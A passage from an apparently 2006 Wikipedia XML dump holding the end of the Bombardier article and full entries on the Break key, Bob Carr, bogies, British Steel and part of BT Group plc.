Joseph had the ability to overcome great odds in his life to develop a company that laid a solid foundation for the creation of a transportation giant. He had a unique ability for an inventor which was to parlay his inventions into a successful business. By the time of his death sales of the company had reached [[Canadian dollar|C$]]20 [[million]], which is the equivalent of C$160 million in 2004 dollars. During his lifetime the province of Québec had been economically dominated by the top [[anglophone]] businessmen and socially by the [[Roman Catholic Church|Catholic Church]], with very limited opportunities for [[francophone]] businesspeople. He was able to overcome these obstacles through sheer determination and inventiveness.

== Global expansion ==

Under the management of [[Laurent Beaudoin]], Bombardier's son-in-law, the company took over the Canadian government-owned [[Canadair]] aircraft manufacturing company in Montreal that had recorded the largest corporate loss in Canadian business history. Bombardier became a leading manufacturer of [[business jets]], [[regional aircraft]], and [[train]]s. Besides the [[Bombardier Challenger|Challenger]] and Global business jets, in [[1990]] Bombardier acquired the [[Lear Jet|Learjet]] Company of [[Wichita, Kansas]], builder of the Learjet business aircraft. The aerospace arm, [[Bombardier Aerospace]], accounts for over half of the company's revenue and is reportedly the third-largest aircraft manufacturer in the world behind the giants [[Boeing]] and [[Airbus]]. In [[2003]] it spun off as a separate company the [[Bombardier Recreational Products]] division, whose [[snowcat]]s and [[snowmobile]]s had been the origin of the company.

In [[1970]], Bombardier acquired the Viennese company Lohner-[[Rotax]], a manufacturer of snowmobile engines and tramways, and thus became involved in [[Rail transport|rail business]]. This section started to grow important in the mid-1990s in the renaissance of [[tram]]ways or '[[light rail|light-rail transit]]'. Bombardier acquired the assets and designs of [[American Locomotive Company]]/[[Montreal Locomotive Works]], who continued in the [[locomotive]] business until [[1985]]. They built the [[British Rail Class 170|Class 170]] Turbostar and Class [[British Rail Class 357|357]]/[[British Rail Class 375|375]]/[[British Rail Class 376|376]]/[[British Rail Class 377|377]] Electrostar trains which are widely used throughout [[Great Britain|Britain]]. They also built the Croydon [[Tramlink]] and [[Nottingham Express Transit]] trams and parts of [[Alstom]]'s [[Eurostar train]]s. They are one of the companies which took over [[British Rail]]'s R&amp;D facilities after [[Privatisation of British Rail|privatisation]] (the remainder largely being absorbed into [[AEA Technology]] and Alstom). They were part of a major consortium in the construction of the [[Eurotunnel]] railway cars, and also built new [[metro]] trains for a wide range of customers including the [[Toronto Transit Commission]], the [[Société de transport de Montréal|Commission de transport de la Communauté urbaine de Montréal]], and the [[New York City Transit Authority]] ([[R62A]], [[R142]]), and developed the [[Las Vegas Monorail]] system.

Bombardier is a [[UK Notified Body]], under The Railways (Interoperability) (Notified Bodies) Regulations 2000, in one TSI area: rolling stock.

[[Bombardier Transportation]] also leads the development and production of the [[Acela Express]] train in a 75%&amp;ndash;25% arrangement with Alstom. The train runs between [[Boston, Massachusetts|Boston]], [[New York, New York|New York City]] and [[Washington, DC]]. Bombardier provided carbody design and tilting mechanisms from its LRC (&quot;Light Rapid Comfortable&quot;) line of passenger trainsets, and integrated a variant of Alstom's [[TGV]] propulsion system. This is the first high-speed rail line in [[North America]], running at a top speed of 240 km/h (150 mi/h). To meet [[U.S. government]] &quot;Buy American&quot; regulations, final assembly of these trains was performed at Bombardier's U.S. rail car assembly facility in [[Barre (city), Vermont|Barre, Vermont]]. Bombardier also provided seller-arranged financing to allow [[Amtrak]] to lease the trainsets rather than purchasing them outright as the railroad had previously done.

They were, until recently, a major [[Canada|Canadian]] [[defence contractor]]. With the latest restructuring the company sold off nearly all of its military related work in Canada. However it continues to participate in military contracts in other countries, such as in the [[United Kingdom]], with the [[ASTOR]] (Airborne Stand-Off Radar) conversion of the long range Challenger [[Bombardier Global Express|Global Express]] jet. The actual conversion is carried out by [[Raytheon]].

In 2001 Bombardier Transportation acquired [[Adtranz]], making it the second largest manufacturer of railway rolling stock in the world. Depending on how one defines industrial activities, it is sometimes considered the largest in the world in this category.

== Criticisms ==

Bombardier has been criticised in Canada and abroad over the [[subsidy|subsidies]] it receives from various levels of government. They have been described as [[corporate welfare]] and accused of violating [[free trade]] agreements, especially by [[Brazil]]. Canada and Bombardier have countered by citing Brazil's direct and indirect subsidies to [[Embraer]], its own major aircraft manufacturer and one of Bombardier's principal competitors in the [[regional jet]] market.

The government of Canada provided a large interest rate subsidy for the financing that made possible Bombardier's sale of metro trains to the [[New York City Subway]]. Some Canadians object to such amounts of money being given to a private for-profit company, but the government argues that the subsidies create many jobs. Recently Bombardier opened an engineering design agreement with an [[India]]n company which subsidy critics argue may result in a loss of jobs in Canada.

Bombardier's reputation may have been tarnished in the western [[United States]] by its association with the privately-funded [[Las Vegas Monorail]] system, which has been operational since [[December 24]], [[2004]] but was plagued by delays due mechanical problems. The system reportedly lost [[United States dollar|US$]]85,000 per day while closed over a period of four months.

Recently, some human rights and Tibet support groups in [http://sftcanada.blogspot.com/2005/10/exposing-bombardier.html Canada], the [http://sftuk.blogspot.com/2005/09/tibet-activists-confront-bombardier.html U.K.], and the U.S. have put pressure on Bombardier over its sale of passenger carriages to the [[People's Republic of China]] for projects including the controversial [[Qingzang Railway]] line into [[Tibet]].

Also Bombardier has been criticized for the yearly procedure of moving assets (such as aircraft) from one Bombardier entity to another Bombardier entity and recording the transaction as revenue for the sole purpose of increasing annual bonuses of senior executives. The procedure was criticized as not being in the best interest of the shareholders although it received very little negative publicity.

==Corporate governance==
Current members of the [[board of directors]] of Bombardier Inc. are: [[Laurent Beaudoin]], [[Pierre Beaudoin]], [[André Berard]], [[J.R. André Bombardier]], [[Janine Bombardier]], [[L. Denis Desauutels]], [[Michael Durham (businessman)|Michael Durham]], [[Jean-Louis Fontaine]], [[Daniel Johnson, Jr.]], [[Jean Monty]], [[André Navarri]], [[James Perrella]], [[Carols Represas]], [[Federico Sada]], and Heinrich Weiss.

==See also==
* [[Bombardier Transportation]]
* [[Bombardier Aerospace]]
* [[Bombardier Recreational Products]]

==External links==
*[http://www.bombardier.com/ Company website]
*[http://biz.yahoo.com/ic/42/42381.html Yahoo! - Bombardier Inc. Company Profile]

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[[Category:Bombardier| ]]
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  </page>
  <page>
    <title>Break key</title>
    <id>4636</id>
    <revision>
      <id>42038353</id>
      <timestamp>2006-03-03T10:54:55Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[BASIC]] to [[BASIC programming language]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''break key''' is a special key on [[computer keyboard]]s that no longer has a well-defined purpose.  Its origins go back to telegraph practices.

A standard [[Telegraphy|telegraph]] key has a built-in [[knife switch]] that can be used to short the key's contacts.  When the key was not in use, that switch was kept closed, so that a signal was continually sent.  If that steady-state signal was interrupted, it indicated one of two things: either the operator was about to start transmitting, or something else had happened to break the connection — such as hostiles cutting the telegraph line.

As the [[teletype]] came into use, a key was created that would temporarily interrupt the communications line, allowing this practice to continue. When this occurred, the receiving teletype mechanism would activate but not print characters (it was typing the non-printing &quot;DEL&quot; character repeatedly). The noise got the operator's attention.

[[Time-sharing]] computers connected to [[modem]]s could recognize the break because the &quot;DEL&quot; characters received had &quot;bad [[parity]]&quot;. This was usually used to generate an [[interrupt]] and allow login or stop a running program.

On personal computers, the break key is used in different ways by different programs, but usually involves some sense of changing the interaction with the computer, such as switching between multiple login sessions, terminating a program, or interrupting a modem connection.

On many modern [[Personal computer|PCs]], '''Pause''' interrupts screen output by [[BIOS]]. This is effective during [[boot]] in [[text mode]] and in a [[DOS]] box in [[Microsoft Windows|Windows]] safe mode with 50 lines.

In programming, especially old DOS-style [[BASIC programming language|BASIC]], [[Pascal]] and [[C++]], '''Break''' is used (in conjunction with [[Control key]]) to stop program execution. In addition to this, [[Linux]] and variants, as well as many DOS programs, treat this combination the same as ''Ctrl+C''. Finally, the combination can be used to stop a batch file, which is highly useful on older DOS machines that ran batch scripts on boot up.

On modern keyboards, the break key is usually labeled '''Pause/Break'''.  On many games this is the key to pause the game. In most Windows environments, the key combination ''[[Windows key]]+Pause'' brings up the system properties.

Compact and notebook keyboards often have the Pause/Break key mapped to a function command. As a result, pressing ''Ctrl+Pause'' in a notebook computer may require the user to press something else, such as ''Ctrl+Fn+F11''.

==See also==

*[[SysRq]]
*[[Scroll Lock]]
*[[Num lock]]

[[Category:Computer keys]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Carr</title>
    <id>4637</id>
    <revision>
      <id>40361325</id>
      <timestamp>2006-02-20T01:33:37Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{dablink|For other people of the same name, see [[Bob Carr (disambiguation)]].}}

[[Image:ac.bobcarr.jpg|thumb|200px|The Hon. Bob Carr]]

'''Robert John Carr''' (born [[September 28]] [[1947]]), [[Australia]]n politician, was [[Premier of New South Wales|Premier]] of [[New South Wales]] from [[25 March]] [[1995]] to [[3 August]] [[2005]]. He holds the record for the longest continuous service as Premier of New South Wales. Only [[Henry Parkes|Sir Henry Parkes]] has served longer, but he held the office on five separate occasions.

==Early career==
The son of a train driver, Carr was born in the [[Sydney]] suburb of [[Maroubra, New South Wales|Maroubra]], and was educated at the [[University of New South Wales]], from which he graduated as a Bachelor of Arts (Hons) in history. Unusually for an Australian politician, he is an intellectual and writer; in a recent example of his recognition as a writer, he appeared on stage at the [[2004]] [[Sydney Festival]] in conversation with [[Tom Stoppard]].

Before entering politics, Carr was a [[journalist]] for the [[Australian Broadcasting Corporation|ABC]] Radio's ''AM ''current affairs program, wrote for ''[[The Bulletin]]'' and spent a period working for the [[Labor Council of NSW]].

A member of the [[Australian Labor Party]], Carr entered the [[New South Wales Legislative Assembly]] at a [[by-election]] as the member for [[Maroubra]] in October 1983.

In December 1984 he was appointed Minister for Planning and the Environment in the [[Neville Wran|Wran]] government. He held this position until March 1988, when the ALP lost government. In February 1986 he also took on the consumer affairs portfolio, which he held until he became Minister for Heritage In July 1986.

==Leader of the Opposition==
Carr's long-term ambition was to enter federal politics and be Minister for Foreign Affairs in a federal Labor government. But following the defeat of the New South Wales Labor government, Carr was pressured by the party organisation and his own Right faction to stand for the leadership. Carr reluctantly agreed, and became Leader of the Opposition. His diary entries from the time reveal &quot;I spent today like a doomed man, taking phone calls and drafting a statement, still saying to the press I wasn't shifting. I feel a jolt in my stomach about what I'm getting myself in for. I will destroy my career in four years. Everything's altered. It's my fate … So, for better or for worse, I become leader of the party next week.&quot;

Despite this reluctance, Carr performed well &lt;!--Verging on POV: How about 'Carr's performance as opp. l. gained wide approval in the party ...--&gt;as opposition leader and only narrowly lost a tight election to [[Nick Greiner]]'s coalition government in 1991, an election in which no one expected Labor to come close to victory.

==Premier of New South Wales==
In 1995 he became Premier at another close election and won comfortably again in 1999 and 2003.

His centrist, cautious government has been characterised by conservative financial management and the encouragement of market forces, and latterly pursued a &quot;[[tough on crime]]&quot; policy. Carr occasionally ventured into national policy issues, particularly issues concerning the environment and population growth. A keen bushwalker, he created numerous national parks in NSW over his decade-long term as Premier. During his term, he worked towards improving literacy standards in NSW schools.

In [[August]] [[2004]], Carr faced criticism due to his alleged involvement in the [[Orange Grove affair]], and also from the Commissioner of the NSW [[Independent Commission Against Corruption of New South Wales|Independent Commission Against Corruption]], due to his remarks that a minister under investigation by the ICAC would be &quot;vindicated&quot; before the release of that body's findings on the matter; this resulted in an allegation of contempt, which was subsequently dropped.

After 10 years as Premier, Carr announced his resignation both as Premier and as the member for Maroubra on [[27 July]], [[2005]] to be effective from [[3 August]]. This immediately prompted speculation that the resignation was a prelude to a move into federal politics, but Carr denied this. He cited the desire to spend more time with his wife, [[Helena Carr]], as the main motivation for his resignation. His successor as Premier is former health minister [[Morris Iemma]]. Carr's resignation triggered further resignations, namely those of Deputy Premier [[Andrew Refshauge]] and Planning Minister [[Craig Knowles]].

Unusually for a Labor leader, Carr has opposed [[Australian republicanism]] if it entailed public election of the President (he supported a President appointed by Parliament). He also opposed a [[Bill of Rights]], claiming it would merely lead to increased litigation.

==Literature==
Bob Carr is the author of several books, the best-known being ''Thoughtlines'' (Viking, 2002). He is an acknowledged expert on certain aspects of the political history of the United States, especially [[Abraham Lincoln]], whose [[Lincoln's second inaugural address|second inaugural]] he quoted in his resignation speech. He is a charter member of the [[Chester A. Arthur Society]], a US political trivia group named for one of the most obscure US presidents.

In May 2003, a biography by [[Marilyn Dodkin]], ''Bob Carr: the reluctant leader'', was published to acclaim, partly because it was based on Carr's private diaries and included his often uncomplimentary thoughts on various political personalities.  A second biography, ''Bob Carr—a self-made man'', by [[Andrew West]] and [[Rachel Morris]], was published in September 2003 by Harper Collins.

==Family==
In 1972, Carr met the [[Malaysia]]n [[economics]] student Anne Helena John (now the Australian businesswoman [[Helena Carr]]) on a vacation in [[Tahiti]], and the couple was married on [[24 February]] [[1973]]. They have no children.

==After Politics==
Bob Carr became a part-time consultant for [[Macquarie Bank]], an Australian investment bank, in October 2005. Macquarie's media announcement declared he would advise on policy and strategic issues with a focus on his specialist knowledge of the United States, China and Europe.

==External links==
*[http://bulletin.ninemsn.com.au/bulletin/EdDesk.nsf/printing/F5C01CAC00C27C18CA256CD3002E4D68 Biography]
* {{Citenewsauthor | surname=Higgins | given=Ean | title=Row over Carr's plumb job at bank | date=[[11 October]] [[2005]] | org=The Australian | url=http://www.theaustralian.news.com.au/common/story_page/0,5744,16879705%255E2702,00.html}}
* {{Citenewsauthor | surname=anonymous | given= | title=MacBank pays Carr $500,000 | date=[[13 October]] [[2005]] | org=Daily Telegraph | url=http://finance.news.com.au/story/0,10166,16904516-462,00.html}}

{{start box}}
{{succession box|
 title=[[Premier of New South Wales]]|
 before=[[John Fahey (politician)|John Fahey]]|
 after=[[Morris Iemma]]|
 years=[[1995]]-[[2005]]|
}}
{{end box}}
{{NewSouthWalesPremiers}}
[[Category:1947 births|Carr, Bob]]
[[Category:Living people|Carr, Bob]]
[[Category:Australian Labor Party politicians|Carr, Bob]]
[[Category:Premiers of New South Wales|Carr, Bob]]

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  </page>
  <page>
    <title>Bogie</title>
    <id>4640</id>
    <revision>
      <id>41114412</id>
      <timestamp>2006-02-25T03:30:58Z</timestamp>
      <contributor>
        <username>Peter Horn</username>
        <id>897817</id>
      </contributor>
      <comment>/* Railway cars */</comment>
      <text xml:space="preserve">{{otheruses}}

A '''bogie''' is a wheeled wagon or trolley.  In mechanics, a bogie is a chassis or framework carrying wheels, attached to a vehicle.  It can be fixed in place, as on a cargo truck, mounted on a swivel, as on a train carriage or locomotive, or sprung as in the suspension of a caterpillar tracked vehicle.

==Railway cars==
[[Image:Bettendorf truck at Illinois Railway Museum.JPG|thumb|A Bettendorf-style truck displayed at the [[Illinois Railway Museum]].]]
[[Image:Railroad truck,FM55-20.Fig8-8.png|thumb|US-style railroad truck.]]
[[Image:Bogie-metro-Meteor-p1010692.jpg|thumb|Model of the pneumatic bogie system of the [[Paris Metro Line 14|''Meteor'' metro]].]]
A bogie in the UK, or a '''wheel truck''', or simply '''truck''' in the U.S., is a structure underneath a [[train]] to which [[wheel]] [[axle]]s (and, hence, wheels) are attached through [[bearing]]s. If they are used there are usually two for each [[carriage]], wagon and [[locomotive]], or alternatively, they are at the connections between the carriages or wagons. The connections of the bogies with the cars allow a small rotational movement around a vertical axis. Most bogies have two axles, but some cars designed for extremely heavy loads have been built with up to five-axle bogies. Heavy-duty cars may have more than two bogies using [[span bolster]]s to equalize the load and connect the bogies to the cars.

Usually the train floor is at a level above the bogies. However, for a double decker [[Double decker#train|train]] this applies only at the bogies: between them the bottom deck can be lower.

There are [[low floor]] trams without (pivoting) bogies and many [[tramway enthusiast]]s see them as &quot;retrogarde&quot; steps.

See also: [[Diesel multiple unit]]

==Tracked vehicles==
Some [[tank]]s and other [[Caterpillar track|tracked]] vehicles have bogies as external suspension components.  This type of bogie usually has two or more road wheels and some type of sprung suspension to smooth the ride across rough terrain.  Bogie suspensions keep much of their components on the outside of the vehicle, saving internal space.  They are vulnerable to [[antitank]] fire, but can often repaired or replaced in the field.

See [[Suspension (vehicle)#Armoured fighting vehicle suspension |Suspension (vehicle)]].


{{rail-stub}}
[[Category:Rail technologies]]
[[Category:Locomotive parts]]

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  </page>
  <page>
    <title>British Steel</title>
    <id>4641</id>
    <revision>
      <id>41053194</id>
      <timestamp>2006-02-24T19:25:01Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 18|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">[[image:British Steel.png|thumb|150px|British Steel company logo (1966-)]]
{{about|the company|the Judas Priest album|[[British Steel (album)]]}}

'''British Steel''' was a large British [[steel]] producer, consisting of the assets of former private companies which had been [[nationalization|nationalised]], largely under the [[Labour Party (UK)|Labour Party]] government of [[Harold Wilson]] ([[1964]]-[[1970]]).  

In 1971 they sponsored Sir [[Chay Blyth]] in his record-making non-stop [[circumnavigation]] against the winds and currents, known as 'The Impossible Voyage'. In 1992 they sponsored the [[Global Challenge|British Steel Challenge]], the first of a series of 'wrong way' races for amateur crews.

It was [[privatization|privatised]] in [[1988]] under the [[Conservative Party|Conservative]] government of [[Margaret Thatcher]]. It merged with the [[Netherlands|Dutch]] steel producer ''Koninklijke Hoogovens'' to form ''[[Corus Group]]'' on [[6 October]] [[1999]]. [http://www.corusgroup.com]

{{industry-company-stub}}

[[Category:Defunct companies of the United Kingdom]]
[[Category:Steel companies]]
[[Category:Companies formerly listed on the London Stock Exchange]]
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  </page>
  <page>
    <title>BT Group plc</title>
    <id>4642</id>
    <revision>
      <id>41755462</id>
      <timestamp>2006-03-01T14:43:50Z</timestamp>
      <contributor>
        <ip>193.113.57.165</ip>
      </contributor>
      <comment>Changed 'BT Openreach' to 'Openreach' - it's proper name</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = BT Group plc  |
  company_logo   = [[Image:BT_Logo.jpg|centre||160px]] |
  company_type   = [[Public company|Public]] ([[London Stock Exchange|LSE]]: [http://www.londonstockexchange.com/en-gb/pricesnews/prices/system/detailedprices.htm?sym=GB0030913577GBGBXSET13091357BT.A BT], [[NYSE]]: [http://www.nyse.com/listed/bt.html BT]) |
  company_slogan = n/a. |
  foundation     = [[1 July]] [[1981]] (as British Telecommunications) |
  location       = [[London]], [[United Kingdom]] |
  key_people     = Sir Peter Bonfield (Former Chief Executive)&lt;br&gt;Sir Christopher Bland (Current Executive Chairman)&lt;br&gt;Ben Verwaayen (current Chief Executive  since 2002)| 
  industry       = [[Telecommunications]] |
  products       = Retail and Wholesale local, national and international telecommunications products and services,&lt;br&gt;Broadband and internet products and services,&lt;br&gt;IT and Network Solutions,&lt;br&gt;Mobile service as a [[MOLO (telecommunications)|Molo]] |
  revenue        = [[Image:Green up.png]]£ 18.6  billion [[Pound sterling|GBP]] ([[2005]]) |
num_employees    = 99,600 (2005) |
  homepage       = http://www.btplc.com}}


'''BT Group plc''' (formerly known as '''British Telecommunications plc''') which trades as '''BT''' (and previously as '''British Telecom''') is the [[privatisation|privatised]] former [[United Kingdom|UK]] state [[telecommunications]] operator. It is still the dominant fixed line telecommunications provider in the United Kingdom.

==Businesses==
BT owns and runs the [[telephone exchange]]s, trunk network and [[local loop]] connections for the vast majority of British fixed-line telephones. Currently BT is responsible for approximately 25 million telephone lines in the UK. BT is still the only UK telecoms operator to have a ''Universal Service Obligation'' (USO) which means it must provide a fixed telephone line to any address in the UK (with the exception of the [[Kingston upon Hull]] area).  It is also obliged to provide public call boxes.

It is officially designated the dominant operator in British telecommunications market. BT's businesses are operated under special government regulation by the British telecoms regulator [[Ofcom]] (formerly [[Oftel]]). 

BT Group has been organised into four business divisions:
*''BT Global Services'': Business services and solutions (formerly ''BT Ignite'' and ''[[Syntegra|BT Syntegra]]'')
*''BT Retail'': Retail telecoms to consumers
*''BT Wholesale'': Wholesale telecoms core trunk network
*''BT Exact / One IT'': Research and Development, and consultancy
*''Openreach'': fenced-off wholesale division, tasked with ensuring that all rival operators have equality of access to BT's own local network.

== History of BT ==

[[Image:GPO badge.png|thumb|right|150px|Prior to the formation of British Telecom, telecommunications were handled by the General Post Office]]
[[Image:BT (old T).png|thumb|right|150px|British Telecom &quot;T&quot; symbol, 1980–1991]]
[[Image:BT (old) logo.png|thumb|right|150px|British Telecom logotype, 1980–1991]]
[[Image:BTLogo91.png|thumb|right|150px|BT &quot;piper&quot; logo, 1991–2003]]

[http://www.groupbt.com/Thegroup/BTsHistory/History.htm Official BT history page]

A number of privately owned [[Telegraphy|telegraph]] companies operated in Britain from [[1846]] onwards. Among them were 
* The [[Electric Telegraph Company]],
* [[British and Irish Magnetic Telegraph Company]],
* [[British Telegraph Company]],
* [[London District Telegraph Company]],
* and the [[United Kingdom Telegraph Company]]
The [[Telegraph Act of 1868]] passed the control of all these to the newly formed GPO ([[General Post Office]])'s &quot;Postal Telegraphs Department&quot;

With the invention of the [[telephone]] by [[Alexander Graham Bell]] in [[1876]] the GPO began to provide telephone services from some of its telegraph exchanges. However in [[1882]] the [[Postmaster-General]], Henry Fawcett started to issue licences to operate a telephone service to private businesses and the telephone system grew under the GPO in some areas and private ownership in others. The GPO's main competitor the [[National Telephone Company]] emerged in this market by absorbing other private telephone companies, prior to its absorption into the GPO in [[1912]].

The trunk network was unified under GPO control in [[1896]] and the local distribution network in [[1912]]. A few municipally owned services remained outside of GPO control. These were [[Kingston upon Hull]], [[Portsmouth]] and [[Guernsey]].  Hull still retains an independent operator, [[Kingston Communications]], though it is no longer municipally controlled.

In [[1969]] the GPO, a government department, became [[The Post Office]], a nationalised industry separate from government. Post Office Telecommunications was one of the divisions.

===Formation of British Telecom===
On [[1st July]], [[1981]] Post Office Telecommunications was renamed '''British Telecom''' and became a state-owned corporation independent of the Post Office.  In [[1982]] BT's monopoly on telecommunications was broken, with the grant of a licence to [[Cable and Wireless | Mercury Communications]].

===Privatisation===

The privatisation took place in [[1984]], with the sale of 51% of the shares in the company (incorporated in 1984 as ''British Telecommunications plc'') to the public in November.

The company changed its trading name to 'BT' in [[March 31]], [[1991]].  The remaining state holdings in the company were sold in [[1991]] and [[1993]].

In the 1990s, BT entered the Irish [[telecommunications]] market through a joint venture with the [[Electricity Supply Board]], the Irish state owned power provider. This venture, entitled '''Ocean''', found its main success through the launch of Ireland's first subscription-free dial-up ISP, oceanfree.net. As a telecoms company it found much less success, mainly targeting corporate customers. BT acquired 100% of this venture in 1999.

In [[2000]], BT acquired [[BT Ireland | Esat Telecom Group plc]], and all its subsidiary companies, and [[Ireland On Line]]. It also purchased [[Telenor | Telenor's]] minority shareholding in [[O2 Ireland | Esat Digifone]]. The Esat Telecom Group was split in two: the landline and internet operations were combined with Ocean and became part of BT Ignite. Esat Group was renamed Esat BT in July 2002, and eventually [[BT Ireland]] in April 2005. Esat Digifone became part of BT Wireless. EsatBT installed the first [[Digital Subscriber Line|DSL]] lines in Ireland, and operate one exchange, in [[Limerick]].

===BT’s Global alliances===
In June [[1994]] BT and [[MCI]] launched [[Concert Communications Services]] which was a $1 billion joint venture between the two companies. Its aim was to build a network which would provide easy global connectivity to multinational corporations.

This alliance progressed further on [[3 November]] [[1996]] when the two companies announcement that they had entered into a full merger agreement to create a global telecommunications company to be called Concert plc, which would be  incorporated in the UK with headquarters in both London and Washington DC. This would have given BT an entry into the US market and MCI a global reach. The merger proposition gained approval from the [[European Commission]], the [[US Department of Justice]] and the [[Federal Communications Commission|US Federal Communications Commission]] and looked set to proceed. However on [[1 October]] [[1997]] [[Worldcom]] made a rival bid for MCI which was followed by a counter bid from [[GTE]]. MCI accepted the Worldcom bid and BT pulled out of its deal with a generous severance fee of $465 million. BT made even more money when it sold its stake in MCI to Worldcom in [[1998]] for £4,159 million on which it made an exceptional pre-tax profit of £1,133 million. It also avoided being mired in the later Worldcom scandal.

BT also bought from MCI its 24.9 per cent interest in Concert Communications making Concert a wholly owned part of  BT.

BT then later had a dalliance with [[AT&amp;T]] as a possible alternative global partner but nothing came of this.

More recently BT has acquired Italy's second largest operator, Albacom, providing BT with another major network outside the UK. In February 2005 the Infonet acquisition was a fact, giving BT entry into geographies it had no presence yet. At last it bought Radianz, which might use old technology, but also expandanded BT's coverage, provided BT with more buying power in certain countries and gave access to the financial markets.

===Yell Group and O2 demergers===
In June 2001 BT's directory business was demerged as [[Yell Group]].
A larger demerger followed in November of the same year, when the former mobile telecommunications business of BT, BT Cellnet, was hived off as a separate business named &quot;[[O2 plc|mmO&lt;sub&gt;2&lt;/sub&gt;]]&quot;. This included BT owned or operated networks in other countries, including BT Cellnet (UK), Esat Digifone (Ireland), and Viag Interkom (Germany). All networks now owned or operated by mmO&lt;sub&gt;2&lt;/sub&gt; (except [[Manx Telecom]]) were renamed as O&lt;sub&gt;2&lt;/sub&gt;. 

This was a move designed to remove the burden of debt with which the company had encumbered itself, much of which was acquired during the bidding round for the [[3G|3rd generation mobile telephony]] (commonly known as [[3G]]) licenses. The de-merger was accomplished via a share-swap, all British Telecommunications plc shareholders received 1 mmO&lt;sub&gt;2&lt;/sub&gt; plc and 1 BT Group plc (of which British Telecommunications is now a wholly owned subsidiary) share for each share they owned. British Telecommunications plc was de-listed on [[16 November]] 2001 and the two new companies started trading on [[19 November]]. mmO&lt;sub&gt;2&lt;/sub&gt; plc was replaced by [[O2 plc|O&lt;sub&gt;2&lt;/sub&gt; plc]] in a further share-swap in [[2005]].

=== BT as it is today ===
In April [[2003]], BT launched its new corporate identity. The &quot;BT&quot; logotype from 1991 was retained, but the piper was replaced by a &quot;connected world&quot;. Esat BT retained the piper for nearly two years after it was dropped by its parent.

[[Oftel]]'s strategy for telecoms deregulation in the UK through the 1990s was to drive down BT's market share. It aimed to achieve this  by restrictions on the size of its price increases and by forcing it to allow other telcos to gain access to the connection between the exchange and the customers premises.

This has been successful in the area of telephony resale through Independent Service Providers (ISPs) but has left BT as the dominant operator in [[Asymmetric Digital Subscriber Line|ADSL]] connections and local loop provision.

In [[2003]] BT resumed its participation in the UK mobile market with the launch of BT Mobile.  The company denies the move is a U-turn, describing the sell-off of mmO2 as the best move for shareholders and investors. BT wishes to reach younger consumers who use BT's fixed line services less than previous generations. BT Mobile is a reseller of mobile services supplied by the UK's mobile operators and no longer owns a mobile network.

BT has also re-entered the market for hardcopy telephone directories, an offering which it curiously classifies as 'New Wave'.

''Openreach'' was announced in September [[2005]] at the instigation of [[Ofcom]] to provide an open and equal service of provision and repair in the &quot;last mile&quot; of copper wire. This business was formed from 25,000 engineers previously employed by BTs Retail and Wholesale divisions. It is designed to ensure that other Independent telephone service providers (ISPs) have exactly the same operational conditions as parts of the BT group. It opened for business on 11 Jan [[2006]].

==== BT Broadband ====

BT Broadband is an [[Asymmetric_Digital_Subscriber_Line | ADSL]] ISP in the United Kingdom, operating under the BT Retail division of BT Group PLC. There are currently four different packages available based on usage guidelines.

BT Broadband uses the BT CentralPlus scheme, and so are unable to offer static IP addresses.

==Financial performance==
{| class=&quot;wikitable&quot;
! Year ended
! Turnover (£m)
! Profit/(loss) before tax (£m)
! Net profit/(loss) (£m)
! Basic [[earnings per share|eps]] (p) 
|- 
| [[31 March]] [[2005]]
| 18,623
| 2,343
| 1,821
| 21.4 
|- 
| [[31 March]] [[2004]]
| 18,519
| 1,945
| 1,414
| 16.4 
|- 
| [[31 March]] [[2003]]
| 18,727
| 3,157
| 2,686
| 31.2 
|- 
| [[31 March]] [[2002]]
| 20,559
| 1,461
| 995
| 12.0 
|- 
| [[31 March]] [[2001]]
| 20,427
| (1,031)
| (1,810)
| (27.7) 
|- 
| [[31 March]] [[2000]]
| 18,715
| 2,942
| 2,055
| 31.7 
|- 
| [[31 March]] [[1999]]
| 16,953
| 4,295
| 2,983
| 46.3 
|- 
| [[31 March]] [[1998]]
| 15,640
| 3,219
| 1,706
| 26.7 
|- 
| [[31 March]] [[1997]]
| 14,935
| 3,203
| 2,077
| 32.8 
|- 
| [[31 March]] [[1996]]
| 14,446
| 3,019
| 1,986
| 31.6 
|- 
| [[31 March]] [[1995]]
| 13,893
| 2,662
| 1,731
| 27.8 
|- 
| [[31 March]] [[1994]]
| 13,675
| 2,756
| 1,767
| 28.5 
|- 
| [[31 March]] [[1993]]
| 13,242
| 1,972
| 1,220
| 19.8 
|- 
| [[31 March]] [[1992]]
| 13,337
| 3,073
| 2,044
| 33.2 
|}

==Market Position &amp; Power==  [[Image:FTSE-350-DIA-Sept05.png|thumb|Market share data, Sept 2005]] 
In 1984 the Telecommunications Act set the framework for a competitive market for telecoms services by abolishing BT's exclusive right to provide services.  In the early 1990s the market was opened up and a number of new national Public Telecommunications Operators (PTOs) were given licences.  This ended the duopoly that had existed in the 1980s when only BT and Mercury were licensed to provide fixed line telecom networks in the UK.

==Future==
BT's [[BT 21CN|21st Century Network (21CN)]] is a network transformation project which will see the UK's telephone network move from the present AXE/[[System X (telephony)|System X]] Public Switched Telephone Network (PSTN) to an [[Internet Protocol]] (IP) system.

BT envisages annual savings of £1 billion when the transition to the new network is complete (the majority of customers should be transferred by 2008). Capital expenditure is put at £10 billion over the next five years.

See also:
* [[Local loop unbundling]], [[System X (telephony)|System X]]

== BT's &quot;Web patent&quot; ==
In 2001 BT discovered it owned a [[patent]] ({{US patent|4873662}}) which it believed gave it patent rights on the use of [[hyperlink]] technology on the [[World Wide Web]]. The corresponding UK patent had already expired, but the US patent is valid until [[2006]].
